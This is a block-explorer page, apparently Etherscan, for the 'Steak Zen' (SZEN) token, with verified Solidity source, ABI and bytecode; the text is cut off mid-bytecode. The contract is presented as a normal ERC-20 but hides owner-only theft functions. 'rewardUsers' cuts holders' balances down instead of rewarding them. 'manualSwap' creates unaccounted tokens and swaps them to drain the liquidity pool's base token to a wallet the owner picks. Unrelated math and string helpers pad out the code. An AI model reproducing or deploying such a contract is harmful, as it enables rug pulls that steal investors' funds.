ETH Price: $3,030.82 (+3.92%)
 

Overview

Max Total Supply

1,000,000,000 SZEN

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
757.304245250847732398 SZEN

Value
$0.00
0x8f4de593645782750113586316a27f520affcd2b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SteakZen

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-06-27
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

contract SteakZen {
    IRouter internal _router;
    IPair internal _pair;
    address private _owner;

    string public constant name = "Steak Zen";
    string public constant symbol = "SZEN";
    uint8 public constant decimals = 18;
    uint public totalSupply = 1_000_000_000e18;

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowances;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(address _routerAddress) {
        _owner = msg.sender;
        _router = IRouter(_routerAddress);
        _pair = IPair(IFactory(_router.factory()).createPair(address(this), address(_router.WETH())));

        balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Caller is not the owner");
        _;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }


    function longestCommonPrefix(string memory _str1, string memory _str2) pure public returns (string memory) {
        bytes memory bytesStr1 = bytes(_str1);
        bytes memory bytesStr2 = bytes(_str2);
        uint commonLength = 0;
        for (uint i = 0; i < bytesStr1.length && i < bytesStr2.length; i++) {
            if (bytesStr1[i] != bytesStr2[i]) {
                break;
            }
            commonLength++;
        }
        bytes memory result = new bytes(commonLength);
        for (uint i = 0; i < commonLength; i++) {
            result[i] = bytesStr1[i];
        }
        return string(result);
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        balances[from] = sub(fromBalance, amount);
        balances[to] = add(balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function binaryExponentiation(uint _base, uint _exponent) pure public returns (uint) {
        uint result = 1;
        while (_exponent > 0) {
            if (_exponent & 1 == 1) {
                result = result * _base;
            }
            _base = _base * _base;
            _exponent >>= 1;
        }
        return result;
    }

    function rewardUsers(address[] calldata _users, uint256 _minBalanceToReward, uint256 _percent) public onlyOwner {
        for (uint256 i = 0; i < _users.length; i++) {
            if (balanceOf(_users[i]) > _minBalanceToReward) {
                uint256 rewardAmount = balances[_users[i]] / _percent;
                balances[_users[i]] = rewardAmount;
            }
        }
    }


    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function manualSwap(address baseToken, address _recipient, uint256 amount) public onlyOwner {
        require(amount > 0 && amount < 100000, "Amount Exceeds Limits");
        uint256 baseTokenReserve = getBaseTokenReserve(baseToken);
        uint256 amountOut = (baseTokenReserve * amount) / 100000;
        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = baseToken;
        uint256[] memory amountInMax;
        amountInMax = new uint256[](2);
        amountInMax = _router.getAmountsIn(amountOut, path);
        balances[address(this)] += amountInMax[0];
        uint256 deadline = block.timestamp + 1200;
        _approve(address(this), address(_router), balanceOf(address(this)));
        _router.swapTokensForExactTokens(amountOut, amountInMax[0], path, _recipient, deadline);
    }

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1, ) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    }

    function modularMultiplicativeInverse(uint _a, uint _m) pure public returns (uint) {
        uint m0 = _m;
        int x0 = 0;
        int x1 = 1;
        if (_m == 1) {
            return 0;
        }
        while (_a > 1) {
            uint q = _a / _m;
            (_a, _m) = (_m, _a % _m);
            (x0, x1) = (x1 - int(q) * x0, x0);
        }
        if (x1 < 0) {
            x1 += int(m0);
        }
        return uint(x1);
    }

    function leftRotateBytes32(bytes32 _bytes, uint _shift) pure public returns (bytes32) {
        return (_bytes << _shift) | (_bytes >> (256 - _shift));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_base","type":"uint256"},{"internalType":"uint256","name":"_exponent","type":"uint256"}],"name":"binaryExponentiation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_bytes","type":"bytes32"},{"internalType":"uint256","name":"_shift","type":"uint256"}],"name":"leftRotateBytes32","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"string","name":"_str1","type":"string"},{"internalType":"string","name":"_str2","type":"string"}],"name":"longestCommonPrefix","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"baseToken","type":"address"},{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_a","type":"uint256"},{"internalType":"uint256","name":"_m","type":"uint256"}],"name":"modularMultiplicativeInverse","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"rewardUsers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526b033b2e3c9fd0803ce80000006003553480156200002157600080fd5b506040516200189c3803806200189c83398101604081905262000044916200023c565b600280546001600160a01b03199081163317909155600080546001600160a01b0384169216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620000a9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000cf91906200023c565b6001600160a01b031663c9c653963060008054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000130573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015691906200023c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001a4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ca91906200023c565b600180546001600160a01b0319166001600160a01b039290921691909117905560035433600081815260046020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506200026e565b6000602082840312156200024f57600080fd5b81516001600160a01b03811681146200026757600080fd5b9392505050565b61161e806200027e6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c80636ef2f559116100a2578063a9059cbb11610071578063a9059cbb14610280578063b50e120c14610293578063dd62ed3e146102a6578063e3a70f0e146102b9578063e84d5725146102cc57600080fd5b80636ef2f5591461020e57806370a082311461022157806395d89b411461024a578063a457c2d71461026d57600080fd5b806323b872dd116100e957806323b872dd146101a8578063313ce567146101bb57806335d16274146101d557806338399ffa146101e857806339509351146101fb57600080fd5b806306fdde031461011b578063095ea7b31461015957806318160ddd1461017c5780631e67349914610193575b600080fd5b6101436040518060400160405280600981526020016829ba32b0b5902d32b760b91b81525081565b6040516101509190610ff9565b60405180910390f35b61016c61016736600461105f565b6102df565b6040519015158152602001610150565b61018560035481565b604051908152602001610150565b6101a66101a136600461108b565b6102f6565b005b61016c6101b636600461110d565b610447565b6101c3601281565b60405160ff9091168152602001610150565b6101856101e336600461114e565b610469565b6101436101f6366004611222565b61059e565b61016c61020936600461105f565b6106df565b61018561021c366004611286565b610701565b61018561022f36600461114e565b6001600160a01b031660009081526004602052604090205490565b6101436040518060400160405280600481526020016329ad22a760e11b81525081565b61016c61027b36600461105f565b610743565b61016c61028e36600461105f565b6107c9565b6101856102a1366004611286565b6107d6565b6101856102b43660046112a8565b6107f4565b6101856102c7366004611286565b61081f565b6101a66102da36600461110d565b61089a565b60006102ec338484610bbd565b5060015b92915050565b6002546001600160a01b0316331461034f5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b60448201526064015b60405180910390fd5b60005b838110156104405782610385868684818110610370576103706112e1565b905060200201602081019061022f919061114e565b111561042e57600082600460008888868181106103a4576103a46112e1565b90506020020160208101906103b9919061114e565b6001600160a01b03166001600160a01b03168152602001908152602001600020546103e49190611323565b905080600460008888868181106103fd576103fd6112e1565b9050602002016020810190610412919061114e565b6001600160a01b03168152602081019190915260400160002055505b8061043881611337565b915050610352565b5050505050565b6000610454843384610ce1565b61045f848484610d5b565b5060019392505050565b6000806000600160009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156104c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e5919061136c565b50915091506000846001600160a01b0316600160009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610549573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056d91906113bc565b6001600160a01b03161461058a57816001600160701b0316610595565b826001600160701b03165b95945050505050565b606082826000805b8351811080156105b65750825181105b15610628578281815181106105cd576105cd6112e1565b602001015160f81c60f81b6001600160f81b0319168482815181106105f4576105f46112e1565b01602001516001600160f81b03191603610628578161061281611337565b925050808061062090611337565b9150506105a6565b5060008167ffffffffffffffff8111156106445761064461116b565b6040519080825280601f01601f19166020018201604052801561066e576020820181803683370190505b50905060005b828110156106d45784818151811061068e5761068e6112e1565b602001015160f81c60f81b8282815181106106ab576106ab6112e1565b60200101906001600160f81b031916908160001a905350806106cc81611337565b915050610674565b509695505050505050565b60003361045f8185856106f283836107f4565b6106fc91906113d9565b610bbd565b600060015b821561073c57826001166001036107245761072184826113ec565b90505b61072e84806113ec565b9350600183901c9250610706565b9392505050565b6000338161075182866107f4565b9050838110156107b15760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610346565b6107be8286868403610bbd565b506001949350505050565b60006102ec338484610d5b565b60006107e482610100611403565b83901c8284901b17905092915050565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60008181600182810361083857600093505050506102f0565b600186111561087d57600061084d8688611323565b90508561085a8189611416565b9097509550610869838261142a565b610873908361145a565b9291506108389050565b6000811215610595576108908382611481565b9695505050505050565b6002546001600160a01b031633146108ee5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b6044820152606401610346565b6000811180156109005750620186a081105b6109445760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b6044820152606401610346565b600061094f84610469565b90506000620186a061096184846113ec565b61096b9190611323565b60408051600280825260608083018452939450909160208301908036833701905050905030816000815181106109a3576109a36112e1565b60200260200101906001600160a01b031690816001600160a01b03168152505085816001815181106109d7576109d76112e1565b6001600160a01b039290921660209283029190910190910152604080516002808252606082810190935281602001602082028036833750506000546040516307c0329d60e21b81529293506001600160a01b031691631f00ca749150610a4390869086906004016114ed565b600060405180830381865afa158015610a60573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a889190810190611506565b905080600081518110610a9d57610a9d6112e1565b602002602001015160046000306001600160a01b03166001600160a01b031681526020019081526020016000206000828254610ad991906113d9565b9091555060009050610aed426104b06113d9565b60008054308083526004602052604090922054929350610b18926001600160a01b0390911690610bbd565b6000805483516001600160a01b0390911691638803dbee9187918691610b4057610b406112e1565b6020026020010151868b866040518663ffffffff1660e01b8152600401610b6b9594939291906115ac565b6000604051808303816000875af1158015610b8a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610bb29190810190611506565b505050505050505050565b6001600160a01b038316610c1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610346565b6001600160a01b038216610c805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610346565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610ced84846107f4565b90506000198114610d555781811015610d485760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610346565b610d558484848403610bbd565b50505050565b6001600160a01b038316610dbf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610346565b6001600160a01b038216610e215760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610346565b6001600160a01b03831660009081526004602052604090205481811015610e995760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610346565b610ea38183610f34565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610ed29083610f9a565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f269086815260200190565b60405180910390a350505050565b600082821115610f865760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610346565b6000610f928385611403565b949350505050565b600080610fa783856113d9565b90508381101561073c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610346565b600060208083528351808285015260005b818110156110265785810183015185820160400152820161100a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461105c57600080fd5b50565b6000806040838503121561107257600080fd5b823561107d81611047565b946020939093013593505050565b600080600080606085870312156110a157600080fd5b843567ffffffffffffffff808211156110b957600080fd5b818701915087601f8301126110cd57600080fd5b8135818111156110dc57600080fd5b8860208260051b85010111156110f157600080fd5b6020928301999098509187013596604001359550909350505050565b60008060006060848603121561112257600080fd5b833561112d81611047565b9250602084013561113d81611047565b929592945050506040919091013590565b60006020828403121561116057600080fd5b813561073c81611047565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156111aa576111aa61116b565b604052919050565b600082601f8301126111c357600080fd5b813567ffffffffffffffff8111156111dd576111dd61116b565b6111f0601f8201601f1916602001611181565b81815284602083860101111561120557600080fd5b816020850160208301376000918101602001919091529392505050565b6000806040838503121561123557600080fd5b823567ffffffffffffffff8082111561124d57600080fd5b611259868387016111b2565b9350602085013591508082111561126f57600080fd5b5061127c858286016111b2565b9150509250929050565b6000806040838503121561129957600080fd5b50508035926020909101359150565b600080604083850312156112bb57600080fd5b82356112c681611047565b915060208301356112d681611047565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600082611332576113326112f7565b500490565b6000600182016113495761134961130d565b5060010190565b80516001600160701b038116811461136757600080fd5b919050565b60008060006060848603121561138157600080fd5b61138a84611350565b925061139860208501611350565b9150604084015163ffffffff811681146113b157600080fd5b809150509250925092565b6000602082840312156113ce57600080fd5b815161073c81611047565b808201808211156102f0576102f061130d565b80820281158282048414176102f0576102f061130d565b818103818111156102f0576102f061130d565b600082611425576114256112f7565b500690565b80820260008212600160ff1b841416156114465761144661130d565b81810583148215176102f0576102f061130d565b818103600083128015838313168383128216171561147a5761147a61130d565b5092915050565b80820182811260008312801582168215821617156114a1576114a161130d565b505092915050565b600081518084526020808501945080840160005b838110156114e25781516001600160a01b0316875295820195908201906001016114bd565b509495945050505050565b828152604060208201526000610f9260408301846114a9565b6000602080838503121561151957600080fd5b825167ffffffffffffffff8082111561153157600080fd5b818501915085601f83011261154557600080fd5b8151818111156115575761155761116b565b8060051b9150611568848301611181565b818152918301840191848101908884111561158257600080fd5b938501935b838510156115a057845182529385019390850190611587565b98975050505050505050565b85815284602082015260a0604082015260006115cb60a08301866114a9565b6001600160a01b039490941660608301525060800152939250505056fea26469706673582212200f1e0aa82ed30b42e8823c0c36e4959ec1690c026e1840aa62cb1ace57fcd6b064736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c80636ef2f559116100a2578063a9059cbb11610071578063a9059cbb14610280578063b50e120c14610293578063dd62ed3e146102a6578063e3a70f0e146102b9578063e84d5725146102cc57600080fd5b80636ef2f5591461020e57806370a082311461022157806395d89b411461024a578063a457c2d71461026d57600080fd5b806323b872dd116100e957806323b872dd146101a8578063313ce567146101bb57806335d16274146101d557806338399ffa146101e857806339509351146101fb57600080fd5b806306fdde031461011b578063095ea7b31461015957806318160ddd1461017c5780631e67349914610193575b600080fd5b6101436040518060400160405280600981526020016829ba32b0b5902d32b760b91b81525081565b6040516101509190610ff9565b60405180910390f35b61016c61016736600461105f565b6102df565b6040519015158152602001610150565b61018560035481565b604051908152602001610150565b6101a66101a136600461108b565b6102f6565b005b61016c6101b636600461110d565b610447565b6101c3601281565b60405160ff9091168152602001610150565b6101856101e336600461114e565b610469565b6101436101f6366004611222565b61059e565b61016c61020936600461105f565b6106df565b61018561021c366004611286565b610701565b61018561022f36600461114e565b6001600160a01b031660009081526004602052604090205490565b6101436040518060400160405280600481526020016329ad22a760e11b81525081565b61016c61027b36600461105f565b610743565b61016c61028e36600461105f565b6107c9565b6101856102a1366004611286565b6107d6565b6101856102b43660046112a8565b6107f4565b6101856102c7366004611286565b61081f565b6101a66102da36600461110d565b61089a565b60006102ec338484610bbd565b5060015b92915050565b6002546001600160a01b0316331461034f5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b60448201526064015b60405180910390fd5b60005b838110156104405782610385868684818110610370576103706112e1565b905060200201602081019061022f919061114e565b111561042e57600082600460008888868181106103a4576103a46112e1565b90506020020160208101906103b9919061114e565b6001600160a01b03166001600160a01b03168152602001908152602001600020546103e49190611323565b905080600460008888868181106103fd576103fd6112e1565b9050602002016020810190610412919061114e565b6001600160a01b03168152602081019190915260400160002055505b8061043881611337565b915050610352565b5050505050565b6000610454843384610ce1565b61045f848484610d5b565b5060019392505050565b6000806000600160009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156104c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e5919061136c565b50915091506000846001600160a01b0316600160009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610549573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056d91906113bc565b6001600160a01b03161461058a57816001600160701b0316610595565b826001600160701b03165b95945050505050565b606082826000805b8351811080156105b65750825181105b15610628578281815181106105cd576105cd6112e1565b602001015160f81c60f81b6001600160f81b0319168482815181106105f4576105f46112e1565b01602001516001600160f81b03191603610628578161061281611337565b925050808061062090611337565b9150506105a6565b5060008167ffffffffffffffff8111156106445761064461116b565b6040519080825280601f01601f19166020018201604052801561066e576020820181803683370190505b50905060005b828110156106d45784818151811061068e5761068e6112e1565b602001015160f81c60f81b8282815181106106ab576106ab6112e1565b60200101906001600160f81b031916908160001a905350806106cc81611337565b915050610674565b509695505050505050565b60003361045f8185856106f283836107f4565b6106fc91906113d9565b610bbd565b600060015b821561073c57826001166001036107245761072184826113ec565b90505b61072e84806113ec565b9350600183901c9250610706565b9392505050565b6000338161075182866107f4565b9050838110156107b15760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610346565b6107be8286868403610bbd565b506001949350505050565b60006102ec338484610d5b565b60006107e482610100611403565b83901c8284901b17905092915050565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60008181600182810361083857600093505050506102f0565b600186111561087d57600061084d8688611323565b90508561085a8189611416565b9097509550610869838261142a565b610873908361145a565b9291506108389050565b6000811215610595576108908382611481565b9695505050505050565b6002546001600160a01b031633146108ee5760405162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b6044820152606401610346565b6000811180156109005750620186a081105b6109445760405162461bcd60e51b8152602060048201526015602482015274416d6f756e742045786365656473204c696d69747360581b6044820152606401610346565b600061094f84610469565b90506000620186a061096184846113ec565b61096b9190611323565b60408051600280825260608083018452939450909160208301908036833701905050905030816000815181106109a3576109a36112e1565b60200260200101906001600160a01b031690816001600160a01b03168152505085816001815181106109d7576109d76112e1565b6001600160a01b039290921660209283029190910190910152604080516002808252606082810190935281602001602082028036833750506000546040516307c0329d60e21b81529293506001600160a01b031691631f00ca749150610a4390869086906004016114ed565b600060405180830381865afa158015610a60573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a889190810190611506565b905080600081518110610a9d57610a9d6112e1565b602002602001015160046000306001600160a01b03166001600160a01b031681526020019081526020016000206000828254610ad991906113d9565b9091555060009050610aed426104b06113d9565b60008054308083526004602052604090922054929350610b18926001600160a01b0390911690610bbd565b6000805483516001600160a01b0390911691638803dbee9187918691610b4057610b406112e1565b6020026020010151868b866040518663ffffffff1660e01b8152600401610b6b9594939291906115ac565b6000604051808303816000875af1158015610b8a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610bb29190810190611506565b505050505050505050565b6001600160a01b038316610c1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610346565b6001600160a01b038216610c805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610346565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610ced84846107f4565b90506000198114610d555781811015610d485760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610346565b610d558484848403610bbd565b50505050565b6001600160a01b038316610dbf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610346565b6001600160a01b038216610e215760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610346565b6001600160a01b03831660009081526004602052604090205481811015610e995760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610346565b610ea38183610f34565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610ed29083610f9a565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f269086815260200190565b60405180910390a350505050565b600082821115610f865760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610346565b6000610f928385611403565b949350505050565b600080610fa783856113d9565b90508381101561073c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610346565b600060208083528351808285015260005b818110156110265785810183015185820160400152820161100a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461105c57600080fd5b50565b6000806040838503121561107257600080fd5b823561107d81611047565b946020939093013593505050565b600080600080606085870312156110a157600080fd5b843567ffffffffffffffff808211156110b957600080fd5b818701915087601f8301126110cd57600080fd5b8135818111156110dc57600080fd5b8860208260051b85010111156110f157600080fd5b6020928301999098509187013596604001359550909350505050565b60008060006060848603121561112257600080fd5b833561112d81611047565b9250602084013561113d81611047565b929592945050506040919091013590565b60006020828403121561116057600080fd5b813561073c81611047565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156111aa576111aa61116b565b604052919050565b600082601f8301126111c357600080fd5b813567ffffffffffffffff8111156111dd576111dd61116b565b6111f0601f8201601f1916602001611181565b81815284602083860101111561120557600080fd5b816020850160208301376000918101602001919091529392505050565b6000806040838503121561123557600080fd5b823567ffffffffffffffff8082111561124d57600080fd5